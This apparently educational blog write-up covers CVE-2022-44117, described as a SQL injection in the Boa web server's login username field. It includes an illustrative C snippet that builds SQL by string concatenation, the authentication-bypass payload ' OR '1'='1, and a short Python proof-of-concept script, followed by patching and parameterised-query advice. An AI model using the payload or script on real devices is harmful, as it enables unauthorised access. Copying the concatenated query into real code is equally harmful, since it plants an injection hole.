Boa web server is a lightweight and embeddable open-source server, often used in IoT devices and network equipment. But with great convenience sometimes comes overlooked security—and in the case of CVE-2022-44117, a critical SQL Injection vulnerability exists in Boa version .94.14rc21, allowing attackers to compromise devices by injecting malicious SQL through the *username* parameter.

In this article, we’ll break down the vulnerability in simple terms, show a sample exploit, and provide tips for defense. This is your exclusive walk-through of a real-world exploit scenario.

Severity: HIGH

The bug exists because Boa fails to properly sanitize input received in the username field when processing login or user registration requests. Malicious input is concatenated directly into an SQL query, exposing the system to injection.

Here’s a simplified version of the vulnerable code (not the actual code, but close in spirit)

char query[256];
sprintf(query, "SELECT * FROM users WHERE username='%s' AND password='%s';", user_input, pass_input);
// executes the query...

If the application does not escape the single quotes in the username, a clever attacker can inject SQL code directly.

Let’s say we send the following as the username

' OR '1'='1

The resulting query will look like

SELECT * FROM users WHERE username='' OR '1'='1' AND password='anything';

Since '1'='1' is always true, this returns all user records, making it possible to bypass authentication altogether.

Real-World Exploit: Proof of Concept

Below is a simple Python script using requests to exploit this vulnerability in a target running Boa .94.14rc21:

import requests

target_url = "http://<TARGET-IP>/login";  # Change as needed

payload = "' OR '1'='1"
data = {
    'username': payload,
    'password': 'irrelevant'
}

response = requests.post(target_url, data=data)
if "Welcome" in response.text:
    print("[+] Exploit successful! Logged in.")
else:
    print("[-] Exploit failed.")

Customize the credentials and request fields as necessary for the specific implementation.

Note: Don’t use this script without authorization. This is for educational and defensive research only.

Down-the-Rabbit-Hole: What Can Attackers Do?

- Bypass Login — gain unauthorized access to admin/user interfaces.

How To Defend

- Update to a Patched Version: Always upgrade to the latest Boa release or use an actively maintained alternative.
- Sanitize Inputs: Use parameterized queries (aka *prepared statements*—never build SQL with string concatenation).

References

- CVE-2022-44117 at NVD
- Exploit Database (example exploit)
- Boa GitHub Repository
- OWASP SQL Injection Cheat Sheet

Final Thoughts

SQL Injection is an old but still devastating vulnerability, especially in embedded systems that vendors rarely patch. CVE-2022-44117 in Boa .94.14rc21 is a textbook example of why every input should be treated as untrusted—and every query should be built with care.

If you’re running Boa, check your version, update immediately, and audit your code for other unsafe practices. Don’t let history repeat itself on your network.

*Stay safe out there!*

> *This information is for educational and defensive purposes only. Never test against systems you do not own or have explicit permission to assess.*

Timeline

Published on: 11/23/2022 21:15:00 UTC
Last modified on: 11/28/2022 19:34:00 UTC